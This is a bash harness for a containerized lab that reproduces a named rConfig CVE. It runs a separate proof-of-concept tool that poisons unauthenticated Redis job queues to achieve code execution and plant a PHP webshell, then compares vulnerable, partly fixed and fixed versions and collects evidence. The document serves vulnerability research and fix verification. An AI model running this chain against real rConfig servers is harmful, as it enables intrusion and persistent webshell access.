#!/usr/bin/env bash # CVE-2026-124079 lab — build + boot + A/B/C differential PoC (100% containerized). # # vuln17 = rConfig Core 8.2.17 -> CVE-2026-124079 full chain (expect: EXPLOIT SUCCESS) # allow18 = rConfig Core 8.2.18 -> allowlist blocks the gadget (expect: GADGET BLOCKED) # fixed19 = rConfig Core 8.2.19 -> Redis hardened (expect: NOT VULNERABLE / unreachable) # # Usage: run-lab.sh [all|up|down|poc|install] set -euo pipefail cd "$(dirname "$0")" NET=cve124079lab POC="podman run --rm --network $NET --cpus 2 --memory 4g cve-2026-124079-poc:local" APPS=(rconfig-vuln17 rconfig-allow18 rconfig-fixed19) prepare() { bash lab/prepare-src.sh podman network exists $NET || podman network create $NET podman build -q -f lab/Containerfile.vuln17 -t cve-2026-124079:vuln17 lab/src/vuln17 podman build -q -f lab/Containerfile.allow18 -t cve-2026-124079:allow18 lab/src/allow18 podman build -q -f lab/Containerfile.fixed19 -t cve-2026-124079:fixed19 lab/src/fixed19 podman build -q -f poc/Containerfile -t cve-2026-124079-poc:local poc/ } up() { podman rm -f rconfig-db rconfig-redis17 rconfig-redis18 "${APPS[@]}" \ >/dev/null 2>&1 || true podman run -d --name rconfig-db --network $NET --cpus 2 --memory 4g \ -e MYSQL_ROOT_PASSWORD=rootpw \ -e MYSQL_DATABASE=rconfig17 \ -e MYSQL_USER=rconfig \ -e MYSQL_PASSWORD=rconfig \ -v "$(pwd)/lab/db-init:/docker-entrypoint-initdb.d:ro" \ docker.io/library/mariadb:11 >/dev/null echo "[lab] waiting for MariaDB..." for _ in $(seq 1 60); do podman exec rconfig-db mariadb-admin ping -uroot -prootpw --silent >/dev/null 2>&1 && break sleep 2 done # Affected-deployment Redis: no password, reachable on the container network. podman run -d --name rconfig-redis17 --network $NET --cpus 2 --memory 4g \ docker.io/library/redis:7-alpine redis-server --protected-mode no >/dev/null podman run -d --name rconfig-redis18 --network $NET --cpus 2 --memory 4g \ docker.io/library/redis:7-alpine redis-server --protected-mode no >/dev/null # upstream docker/entrypoint.sh waits `nc -z $DB_HOST $DB_PORT`, and the # supervisord horizon program waits for `redis-cli -h $REDIS_HOST` — both on # container env vars (upstream compose passes them); Laravel itself reads .env. # # XDG_CONFIG_HOME=/tmp gives the queue worker (www-data, HOME=/var/www) a # writable PsySH config dir. Without it PsySH raises a notice that Laravel # turns into an ErrorException and `tinker --execute=` aborts before running # the payload — the gadget needs a worker with a writable HOME (satisfied by # upstream's own horizon_supervisor.ini, which runs Horizon as root). run_app() { # podman run -d --name rconfig-$1 --network $NET --cpus 2 --memory 4g \ -e DB_HOST=rconfig-db -e DB_PORT=3306 \ -e REDIS_HOST=$2 -e REDIS_PORT=6379 \ -e XDG_CONFIG_HOME=/tmp \ cve-2026-124079:$1 >/dev/null } run_app vuln17 rconfig-redis17 run_app allow18 rconfig-redis18 run_app fixed19 127.0.0.1 echo "[lab] containers up; installing (migrations)..." for c in "${APPS[@]}"; do for _ in $(seq 1 60); do podman exec "$c" grep -q 'APP_KEY=base64:' /var/www/html/rconfig/.env \ >/dev/null 2>&1 && break sleep 2 done podman exec "$c" php artisan v8core:install --no-interaction \ >/dev/null 2>&1 || true done echo "[lab] waiting for Horizon supervisors..." for _ in $(seq 1 60); do [ -n "$(podman exec rconfig-vuln17 redis-cli -h rconfig-redis17 \ --scan --pattern 'rConfig*' 2>/dev/null | head -1)" ] && break sleep 2 done for _ in $(seq 1 60); do [ -n "$(podman exec rconfig-allow18 redis-cli -h rconfig-redis18 \ --scan --pattern 'rConfig*' 2>/dev/null | head -1)" ] && break sleep 2 done PW=$(podman exec rconfig-fixed19 sh -c \ 'grep ^REDIS_PASSWORD= /var/www/html/rconfig/.env | cut -d= -f2') for _ in $(seq 1 60); do [ -n "$(podman exec rconfig-fixed19 redis-cli -a "$PW" \ --scan --pattern 'rConfig*' 2>/dev/null | head -1)" ] && break sleep 2 done echo "[lab] ready." } run_poc() { # [extra poc.py args...] local mode="$1" target="$2" app="$3" expect="$4"; shift 4 echo echo "=== poc.py $mode -> $target (expect: $expect) ===" $POC "$mode" --redis "$target" ${app:+--app "$app"} "$@" 2>&1 || true } poc() { echo "=== [A] vulnerable 8.2.17 — CVE-2026-124079 full chain ===" run_poc check rconfig-redis17:6379 "" "VULNERABLE" run_poc exploit rconfig-redis17:6379 http://rconfig-vuln17 "EXPLOIT SUCCESS" echo echo "=== [A2] same primitive, another Horizon-consumed queue (TaskDownloadQueue) ===" run_poc exploit rconfig-redis17:6379 http://rconfig-vuln17 "EXPLOIT SUCCESS" \ --queue TaskDownloadQueue echo echo "=== [B] 8.2.18 — allowlist blocks the gadget, primitive still live ===" run_poc check rconfig-redis18:6379 "" "VULNERABLE" run_poc exploit rconfig-redis18:6379 http://rconfig-allow18 "GADGET BLOCKED" echo "--- allowlist rejection evidence (victim log) ---" podman exec rconfig-allow18 sh -c \ 'grep -h "rejected an unexpected task command" /var/www/html/rconfig/storage/logs/laravel-*.log 2>/dev/null | tail -2' || true echo echo "=== [B2] 8.2.18 — the primitive also reaches job classes the allowlist does not cover ===" $POC probe --redis rconfig-redis18:6379 --queue ManualDownloadQueue \ --device-id POC-PROBE-9999 2>&1 || true echo echo "=== [C] fixed 8.2.19 — Redis hardened ===" run_poc check rconfig-fixed19:6379 "" "NOT VULNERABLE" run_poc exploit rconfig-fixed19:6379 http://rconfig-fixed19 "EXPLOIT FAILED (unreachable)" capture_evidence return 0 } capture_evidence() { mkdir -p evidence podman exec rconfig-vuln17 sh -c \ 'cat /var/www/html/rconfig/storage/app/public/pwned_marker.txt' \ > evidence/vuln17-marker.txt 2>/dev/null || true podman exec rconfig-vuln17 sh -c \ 'cat /var/www/html/rconfig/storage/app/public/rce_cve_2026_124079.php' \ > evidence/vuln17-webshell.php.txt 2>/dev/null || true podman exec rconfig-vuln17 redis-cli -h rconfig-redis17 GET cve:2026:124079:pwned \ > evidence/vuln17-redis-key.txt 2>/dev/null || true { echo "# Horizon worker log on the vulnerable host (job consumed + executed)" podman exec rconfig-vuln17 sh -c \ "grep -a 'TaskDownloadRun' /var/www/html/rconfig/storage/logs/horizon.log | tail -4" echo echo "# laravel.log (job payload / artisan output)" podman exec rconfig-vuln17 sh -c \ "grep -a 'Task command' /var/www/html/rconfig/storage/logs/laravel-*.log | tail -2" } > evidence/vuln17-worker-log.txt 2>/dev/null || true podman exec rconfig-allow18 sh -c \ "grep -a 'rejected an unexpected task command' /var/www/html/rconfig/storage/logs/laravel-*.log | tail -2" \ > evidence/allow18-allowlist-rejection.txt 2>/dev/null || true { echo "# 8.2.18: the queue-poisoning primitive reaches job classes that the" echo "# ALLOWED_TASK_COMMANDS allowlist does not cover." echo "# poc.py probe pushed App\\Jobs\\DownloadConfigNowJob(device_id=POC-PROBE-9999);" echo "# the worker executed it and wrote this key:" podman exec rconfig-redis18 redis-cli GET download-now-POC-PROBE-9999 2>/dev/null || true } > evidence/allow18-primitive-probe.txt 2>/dev/null || true { echo "# rConfig 8.2.19: the queue Redis now lives inside the app container," echo "# bound to loopback and protected by a generated requirepass." echo echo "\$ redis-cli -h 127.0.0.1 ping # from inside the app container, no password" podman exec rconfig-fixed19 redis-cli -h 127.0.0.1 ping 2>&1 | head -1 || true echo echo "\$ redis-cli -h 127.0.0.1 -a ping" PW=$(podman exec rconfig-fixed19 sh -c \ 'grep -E "^REDIS_PASSWORD=" /var/www/html/rconfig/.env | cut -d= -f2' 2>/dev/null) podman exec rconfig-fixed19 redis-cli -h 127.0.0.1 -a "$PW" --no-auth-warning ping 2>&1 | head -1 || true echo echo "\$ redis-cli -h rconfig-fixed19 ping # from the lab network -> unreachable" podman exec rconfig-fixed19 redis-cli -h rconfig-fixed19 ping 2>&1 | head -1 || true } > evidence/fixed19-redis-hardening.txt 2>/dev/null echo "[evidence] artefacts written to evidence/" return 0 } down() { podman rm -f rconfig-db rconfig-redis17 rconfig-redis18 "${APPS[@]}" \ >/dev/null 2>&1 || true echo "[lab] torn down." } case "${1:-all}" in prepare) prepare ;; up) up ;; poc) poc ;; capture) capture_evidence ;; install) prepare; up ;; down) down ;; all) prepare; up; poc ;; *) echo "usage: $0 [all|prepare|up|poc|capture|install|down]"; exit 2 ;; esac